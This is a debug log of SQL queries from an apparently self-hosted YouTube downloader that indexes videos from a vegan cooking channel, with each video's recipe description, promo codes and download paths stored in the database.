Vegan/2024-10-26 I've been making this spicy Thai noodle soup for almost a DECADE 🍜🌶 My fave VEGAN ramen/I've been making this spicy Thai noodle soup for almost a DECADE 🍜🌶 My fave VEGAN ramen [vvj3XGi3Zfo].NA", false, ~U[2024-10-26 00:00:00Z]] 20:31:07.175 [debug] QUERY OK source="sources" db=0.9ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.177 [debug] QUERY OK source="media_items" db=1.7ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-24 00:00:00Z], 1] 20:31:07.180 [debug] QUERY OK source="media_items" db=1.5ms queue=0.7ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This one pot smokey chickpea soup is high-protein, gluten-free, and the perfect healthy comfort vegan recipe for fall 🍂🍁😍 This vegan soup has 3 key protein sources and is super easy to make as it's a one pot vegan recipe!\n\nMany more soup recipes in this playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0SALADS\u00A0&\u00A0SIDES\u00A0\u00A0\n\nSMOKY CHICKPEA SOUP \n1 block extra firm tofu\n2 cans chickpeas, drained and rinsed\n1 cup dry yellow or red lentils\n2 tsp cumin, divided\n2 tsp smoked paprika, divided\n1 tsp dried oregano\n3 tbsp nutritional yeast\n1 small onion, diced\n1 medium carrot, diced\n4 to 6 garlic cloves, minced\n1 large handful baby spinach\n1 28 oz can diced tomatoes\n4 cups water or veggie broth\nFresh herbs\n\n1. Shred the block of tofu on the large hole side of of box grater into a large bowl. Toss with 1 tbsp oil, and 1 tsp each of cumin and smoked paprika, plus salt. Transfer to an air fryer in a single layer and air fry 15 to 20 mins at 375F\n2. Cook the onion and carrot in a large stock pot until softened and slightly golden, about 4 minutes. Add the oregano and remaining cumin and smoked paprika and cook a further 1 to 2 minutes to let the spices infuse the veg, stirring regularly.\n3. Add the yellow lentils and let toast with the other ingredients for a couple minutes. Add the broth and canned tomatoes, stir and cover and let cook for 15 minutes.\n4. Add the chickpeas and cook for 5 minutes. Remove one cup of broth from the soup and blend it with the garlic and nutritional yeast, then pour back into the pot. Stir in the spinach and herbs and let wilt, turning off the heat.\n5. Serve topped with crispy tofu and enjoy!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "One Pot Smoky Chickpea Soup 🥣 High-Protein Healthy Vegan Recipe", "893ab4cb-1e18-4940-b670-b6621f6c3acb", 1, [], false, "Wr8K7JSWtXs", "https://www.youtube.com/watch?v=Wr8K7JSWtXs", 148, "/downloads/downloads/alec/Steamy Vegan/2024-10-24 One Pot Smoky Chickpea Soup 🥣 High-Protein Healthy Vegan Recipe/One Pot Smoky Chickpea Soup 🥣 High-Protein Healthy Vegan Recipe [Wr8K7JSWtXs].NA", false, false, false, 2, ~U[2024-10-24 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "This one pot smokey chickpea soup is high-protein, gluten-free, and the perfect healthy comfort vegan recipe for fall 🍂🍁😍 This vegan soup has 3 key protein sources and is super easy to make as it's a one pot vegan recipe!\n\nMany more soup recipes in this playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0SALADS\u00A0&\u00A0SIDES\u00A0\u00A0\n\nSMOKY CHICKPEA SOUP \n1 block extra firm tofu\n2 cans chickpeas, drained and rinsed\n1 cup dry yellow or red lentils\n2 tsp cumin, divided\n2 tsp smoked paprika, divided\n1 tsp dried oregano\n3 tbsp nutritional yeast\n1 small onion, diced\n1 medium carrot, diced\n4 to 6 garlic cloves, minced\n1 large handful baby spinach\n1 28 oz can diced tomatoes\n4 cups water or veggie broth\nFresh herbs\n\n1. Shred the block of tofu on the large hole side of of box grater into a large bowl. Toss with 1 tbsp oil, and 1 tsp each of cumin and smoked paprika, plus salt. Transfer to an air fryer in a single layer and air fry 15 to 20 mins at 375F\n2. Cook the onion and carrot in a large stock pot until softened and slightly golden, about 4 minutes. Add the oregano and remaining cumin and smoked paprika and cook a further 1 to 2 minutes to let the spices infuse the veg, stirring regularly.\n3. Add the yellow lentils and let toast with the other ingredients for a couple minutes. Add the broth and canned tomatoes, stir and cover and let cook for 15 minutes.\n4. Add the chickpeas and cook for 5 minutes. Remove one cup of broth from the soup and blend it with the garlic and nutritional yeast, then pour back into the pot. Stir in the spinach and herbs and let wilt, turning off the heat.\n5. Serve topped with crispy tofu and enjoy!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "One Pot Smoky Chickpea Soup 🥣 High-Protein Healthy Vegan Recipe", 1, nil, false, "Wr8K7JSWtXs", "https://www.youtube.com/watch?v=Wr8K7JSWtXs", "/downloads/downloads/alec/Steamy Vegan/2024-10-24 One Pot Smoky Chickpea Soup 🥣 High-Protein Healthy Vegan Recipe/One Pot Smoky Chickpea Soup 🥣 High-Protein Healthy Vegan Recipe [Wr8K7JSWtXs].NA", false, ~U[2024-10-24 00:00:00Z]] 20:31:07.180 [debug] QUERY OK source="sources" db=0.5ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.183 [debug] QUERY OK source="media_items" db=2.0ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-20 00:00:00Z], 1] 20:31:07.191 [debug] QUERY OK source="media_items" db=7.3ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'm showing you how to make my fave soup recipe for when I'm sick! This plant-based healthy soup recipe is my go-to when I'm under the weather as it has so many immune-supporting, antioxidant-rich ingredients like beets, ginger, turmeric, garlic and more. 🥣 It's so nourishing, hearty and feels so good going down!\n\nWatch more of my soup recipe videos here ➡️ \u00A0\u00A0\u00A0•\u00A0SALADS\u00A0&\u00A0SIDES\u00A0\u00A0\n\nSICK SOUP RECIPE\n1 onion\n2 celery stalks\n2 large carrots\n5 medium potatoes\n2 to 3 beets\n2 to 3\" piece ginger\n1 whole head garlic\n1½ tsp ground turmeric\n¾ tsp freshly ground black pepper\nsalt to taste\n1½ cups yellow or red split lentils, rinsed and drained\n4 cups spinach or chopped kale\njuice of 1 small lemon\n8 to 10 cups hot water or broth (or a mixture or both)\n\n1. Wash all veggies, peel the beets, and if you have one, slice all veg (except garlic and ginger) in a food processor. If you don't have one, simply chop up all the veggies.\n2. Warm 2 tbsp oil or ¼ cup water in a large stockpot. Add all chopped veggies and sauté over medium-high heat for about 7 minutes, stirring occasionally.\n3. Meanwhile, mince or process all the garlic, place in a small bowl. Mince or process all the ginger.\n4. After sautéing for 7 mins, add half the garlic, the ginger, the veggie broth/water, and the lentils, stirring to combine all the ingredients. Cover and bring to a boil, then reduce to medium-low heat and cook for about 20 to 23 minutes until the lentils have cooked, stirring occasionally.\n5. Once the lentils are cooked, turn off the heat, add the lemon juice, remaining garlic, and garlic, and any additional seasonings to taste, stirring to combine. Let the spinach wilt for a few minutes, then serve. Enjoy!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "My FAVE soup when I'm sick 🤧 Plant-based healthy soup recipe 🥣", "8772c021-384b-4d91-8007-c9cefcfce2f5", 1, [], false, "QUP5s3EFHJg", "https://www.youtube.com/watch?v=QUP5s3EFHJg", 149, "/downloads/downloads/alec/Steamy Vegan/2024-10-20 My FAVE soup when I'm sick 🤧 Plant-based healthy soup recipe 🥣/My FAVE soup when I'm sick 🤧 Plant-based healthy soup recipe 🥣 [QUP5s3EFHJg].NA", false, false, false, 1, ~U[2024-10-20 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "I'm showing you how to make my fave soup recipe for when I'm sick! This plant-based healthy soup recipe is my go-to when I'm under the weather as it has so many immune-supporting, antioxidant-rich ingredients like beets, ginger, turmeric, garlic and more. 🥣 It's so nourishing, hearty and feels so good going down!\n\nWatch more of my soup recipe videos here ➡️ \u00A0\u00A0\u00A0•\u00A0SALADS\u00A0&\u00A0SIDES\u00A0\u00A0\n\nSICK SOUP RECIPE\n1 onion\n2 celery stalks\n2 large carrots\n5 medium potatoes\n2 to 3 beets\n2 to 3\" piece ginger\n1 whole head garlic\n1½ tsp ground turmeric\n¾ tsp freshly ground black pepper\nsalt to taste\n1½ cups yellow or red split lentils, rinsed and drained\n4 cups spinach or chopped kale\njuice of 1 small lemon\n8 to 10 cups hot water or broth (or a mixture or both)\n\n1. Wash all veggies, peel the beets, and if you have one, slice all veg (except garlic and ginger) in a food processor. If you don't have one, simply chop up all the veggies.\n2. Warm 2 tbsp oil or ¼ cup water in a large stockpot. Add all chopped veggies and sauté over medium-high heat for about 7 minutes, stirring occasionally.\n3. Meanwhile, mince or process all the garlic, place in a small bowl. Mince or process all the ginger.\n4. After sautéing for 7 mins, add half the garlic, the ginger, the veggie broth/water, and the lentils, stirring to combine all the ingredients. Cover and bring to a boil, then reduce to medium-low heat and cook for about 20 to 23 minutes until the lentils have cooked, stirring occasionally.\n5. Once the lentils are cooked, turn off the heat, add the lemon juice, remaining garlic, and garlic, and any additional seasonings to taste, stirring to combine. Let the spinach wilt for a few minutes, then serve. Enjoy!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "My FAVE soup when I'm sick 🤧 Plant-based healthy soup recipe 🥣", 1, nil, false, "QUP5s3EFHJg", "https://www.youtube.com/watch?v=QUP5s3EFHJg", "/downloads/downloads/alec/Steamy Vegan/2024-10-20 My FAVE soup when I'm sick 🤧 Plant-based healthy soup recipe 🥣/My FAVE soup when I'm sick 🤧 Plant-based healthy soup recipe 🥣 [QUP5s3EFHJg].NA", false, ~U[2024-10-20 00:00:00Z]] 20:31:07.193 [debug] QUERY OK source="sources" db=0.7ms idle=14.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.195 [debug] QUERY OK source="media_items" db=1.8ms idle=13.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-17 00:00:00Z], 1] 20:31:07.197 [debug] QUERY OK source="media_items" db=1.8ms idle=14.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I’m showing you all the cozy fall meals I ate today. All vegan, gluten-free and perfect for the fall season and upcoming holidays! From chocolate chai oatmeal, leftover thanksgiving dinner, soy curl ‘turkey’ and the easiest butternut squash pasta, there’s plant-based inspiration for everyone 😊\n\nWant more fall recipes? Check out this playlist next ➡️ \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nHarvard Beets Recipe: \u00A0\u00A0\u00A0•\u00A0SUPER\u00A0SIMPLE\u00A0SIDE\u00A0DISHES\u00A0|\u00A03\u00A0delicious\u00A0veg...\u00A0\u00A0\nMaple Cinnamon Yams: \u00A0\u00A0\u00A0•\u00A0SUPER\u00A0SIMPLE\u00A0SIDE\u00A0DISHES\u00A0|\u00A03\u00A0delicious\u00A0veg...\u00A0\u00A0 \n\n\nChocolate Chai Oatmeal\n2½ cups rolled oats\n1½ cups soy milk unsweetened\n3 cups water\n¼ cup maple syrup\n3 tbsp cocoa powder\n1 teaspoon cinnamon\n½ teaspoon nutmeg\n¼ teaspoon cardamom\n¼ teaspoon allspice\n¼ teaspoon ginger\n¼ teaspoon ground cloves\n½ tsp salt\n\n1. Bring the water and soy milk to a low boil in a medium pot, then add all remaining ingredients and stir well to combine, ensuring no clumps of spices remain.\n2. Turn heat to medium-low and cook for 10 to 15 minutes, until thickened and the oats are cooked.\n3. Serve with sliced bananas and chopped walnuts and enjoy!\n\nSoy Curl ‘Turkey’ Strips & Onion Gravy\n½ package (4 oz) soy curls, rehydrated\n2 tbsp soy sauce or tamari\n1 tbsp tapioca starch \n2 tbsp nutritional yeast\n¾ tsp ground dried sage\n\n1. Toss the rehydrated soy curls in large bowl with the soy sauce until coated. Then add the tapioca starch, nutritional yeast and dried sage and toss again to combine. Transfer to a lightly oiled air fryer basket and air fry for 18 to 20 mins at 400F, until crispy and golden.\n\nOnion Gravy\n3 medium onions, sliced\n4 tbsp vegan butter, divided\n1 tbsp flour\n2½ cups veggie broth\n2 to 3 tbsp soy sauce\n¾ tsp ground sage\n\n1. Heat 2 tbsp of vegan butter in a medium sauté pan over medium high heat. Once melted add the sliced onions and sauté for 10 to 15 minutes, medium-high heat, until caramelized and browned. Deglaze the pan as needed with a few tbsp of water or veggie broth.\n2. Remove the onions from the pan, then add the remaining 2 tbsp vegan butter. Once melted sprinkle the flour and whisk into the butter, making a rue. Slowly pour the hot veggie broth into the rue, whisking continuously. Turn heat to medium and stir frequently as it thickens, about 5 minutes.\n3. Add the onions back to the gravy and continue cooking for a further 2 to 3 minutes. Remove from the heat and it's ready to enjoy!\n\n\nSheet Pan Butternut Squash Pasta\n1 package spaghetti noodles\n4 cups chopped butternut squash\n1 medium yellow onion, quartered\n1 bulb garlic, top sliced off\n1 tbsp fresh minced sage (or 1 tsp ground)\n1 tsp fresh minced rosemary\n⅛ tsp nutmeg\n3 cups vegetable broth\n1 cup cashews\n4 cups boiling hot water\n¼ cup nutritional yeast\n2 tbsp miso paste\n⅛ tsp of nutmeg\nSalt and pepper to taste\nVegan parm (optional)\n\n1. Preheat oven to 375F and lightly oil a large baking sheet.\n2. Place the cashews in a large bowl and pour the boiling water over top. Let soak for 1 hour while you prep and cook the remaining ingredients.\n3. Place the chopped butternut squash and onion on the baking sheet, then lightly spray or drizzle with oil, plus a few generous pinches of salt and pepper. Gently toss to combine.\n4. Place the garlic bulb in a small square of aluminum foil, drizzle 1 tsp of oil on the cut top, then wrap in foil. Place on the sheet pan. Roast the veggies for 35 to 40 minutes until fork tender.\n5. Boil pasta noodles in heavily salted water until al dente, reserving 1 cup of pasta water. Drain and rinse in hot water, then set aside.\n6. Carefully unwrap the garlic from the foil and let cool until its just warm. To a high speed blender add the butternut squash, onion, roasted garlic (squeezed out the top),\u00A0 sage, rosemary, nutmeg, soaked cashews, veggie broth, nutritional yeast, miso paste, and a few grinds of black pepper. Blend on high speed for 60 to 90 seconds until completely smooth.\n7. In the same pot you cooked the pasta in, pour in the butternut squash sauce and heat through over medium heat until steaming. Stir in the pasta noodles and heat through.\n8. Serve in i" <> ..., "What I eat in a day to boost my mood 🍂🧡🍁 Cozy fall vegan recipes!", "63deea0b-f88c-45ac-afba-4deded43e0ee", 1, [], false, "ygnMNp8oQUk", "https://www.youtube.com/watch?v=ygnMNp8oQUk", 150, "/downloads/downloads/alec/Steamy Vegan/2024-10-17 What I eat in a day to boost my mood 🍂🧡🍁 Cozy fall vegan recipes!/What I eat in a day to boost my mood 🍂🧡🍁 Cozy fall vegan recipes! [ygnMNp8oQUk].NA", false, false, false, 1, ~U[2024-10-17 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I’m showing you all the cozy fall meals I ate today. All vegan, gluten-free and perfect for the fall season and upcoming holidays! From chocolate chai oatmeal, leftover thanksgiving dinner, soy curl ‘turkey’ and the easiest butternut squash pasta, there’s plant-based inspiration for everyone 😊\n\nWant more fall recipes? Check out this playlist next ➡️ \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nHarvard Beets Recipe: \u00A0\u00A0\u00A0•\u00A0SUPER\u00A0SIMPLE\u00A0SIDE\u00A0DISHES\u00A0|\u00A03\u00A0delicious\u00A0veg...\u00A0\u00A0\nMaple Cinnamon Yams: \u00A0\u00A0\u00A0•\u00A0SUPER\u00A0SIMPLE\u00A0SIDE\u00A0DISHES\u00A0|\u00A03\u00A0delicious\u00A0veg...\u00A0\u00A0 \n\n\nChocolate Chai Oatmeal\n2½ cups rolled oats\n1½ cups soy milk unsweetened\n3 cups water\n¼ cup maple syrup\n3 tbsp cocoa powder\n1 teaspoon cinnamon\n½ teaspoon nutmeg\n¼ teaspoon cardamom\n¼ teaspoon allspice\n¼ teaspoon ginger\n¼ teaspoon ground cloves\n½ tsp salt\n\n1. Bring the water and soy milk to a low boil in a medium pot, then add all remaining ingredients and stir well to combine, ensuring no clumps of spices remain.\n2. Turn heat to medium-low and cook for 10 to 15 minutes, until thickened and the oats are cooked.\n3. Serve with sliced bananas and chopped walnuts and enjoy!\n\nSoy Curl ‘Turkey’ Strips & Onion Gravy\n½ package (4 oz) soy curls, rehydrated\n2 tbsp soy sauce or tamari\n1 tbsp tapioca starch \n2 tbsp nutritional yeast\n¾ tsp ground dried sage\n\n1. Toss the rehydrated soy curls in large bowl with the soy sauce until coated. Then add the tapioca starch, nutritional yeast and dried sage and toss again to combine. Transfer to a lightly oiled air fryer basket and air fry for 18 to 20 mins at 400F, until crispy and golden.\n\nOnion Gravy\n3 medium onions, sliced\n4 tbsp vegan butter, divided\n1 tbsp flour\n2½ cups veggie broth\n2 to 3 tbsp soy sauce\n¾ tsp ground sage\n\n1. Heat 2 tbsp of vegan butter in a medium sauté pan over medium high heat. Once melted add the sliced onions and sauté for 10 to 15 minutes, medium-high heat, until caramelized and browned. Deglaze the pan as needed with a few tbsp of water or veggie broth.\n2. Remove the onions from the pan, then add the remaining 2 tbsp vegan butter. Once melted sprinkle the flour and whisk into the butter, making a rue. Slowly pour the hot veggie broth into the rue, whisking continuo (truncated) 20:31:07.198 [debug] QUERY OK source="sources" db=0.5ms idle=14.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.202 [debug] QUERY OK source="media_items" db=3.5ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-13 00:00:00Z], 1] 20:31:07.203 [debug] QUERY OK source="media_items" db=1.3ms idle=9.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this grocery haul video, I'll show you all the vegan and gluten-free groceries I buy on the regular at my local grocery store. Hopefully this grocery haul helps to give you a few vegan food ideas for your next haul!\n\nWatch more of my grocery hauls here ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0 \n\nBlueberry Chia Jam ➡️ \u00A0\u00A0\u00A0•\u00A0Blueberry\u00A0Chia\u00A0Seed\u00A0Jam\u00A0🫐\u00A0How\u00A0to\u00A0make\u00A0my\u00A0F...\u00A0\u00A0\n\n* PROMO CODES/Products I Use*\nMy Fave Coffee: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code 'STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n\nMy Water Filter: SANTEVIA WATER FILTERS - Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\n\nMy Go-To Protein Powder: GOOD PROTEIN - Want to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n\nMy Hydroponic Indoor Garden: INDOOR GARDEN WORKS - Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Grocery Haul for FALL! 🍂 Vegan and Gluten-Free Grocery Haul", "64887434-e22d-4261-bd3f-b61cb15b168e", 1, [], false, "dRceBBLiU5o", "https://www.youtube.com/watch?v=dRceBBLiU5o", 151, "/downloads/downloads/alec/Steamy Vegan/2024-10-13 Grocery Haul for FALL! 🍂 Vegan and Gluten-Free Grocery Haul/Grocery Haul for FALL! 🍂 Vegan and Gluten-Free Grocery Haul [dRceBBLiU5o].NA", false, false, false, 1, ~U[2024-10-13 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this grocery haul video, I'll show you all the vegan and gluten-free groceries I buy on the regular at my local grocery store. Hopefully this grocery haul helps to give you a few vegan food ideas for your next haul!\n\nWatch more of my grocery hauls here ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0 \n\nBlueberry Chia Jam ➡️ \u00A0\u00A0\u00A0•\u00A0Blueberry\u00A0Chia\u00A0Seed\u00A0Jam\u00A0🫐\u00A0How\u00A0to\u00A0make\u00A0my\u00A0F...\u00A0\u00A0\n\n* PROMO CODES/Products I Use*\nMy Fave Coffee: Try my favourite mushroom coffee JostArriba! 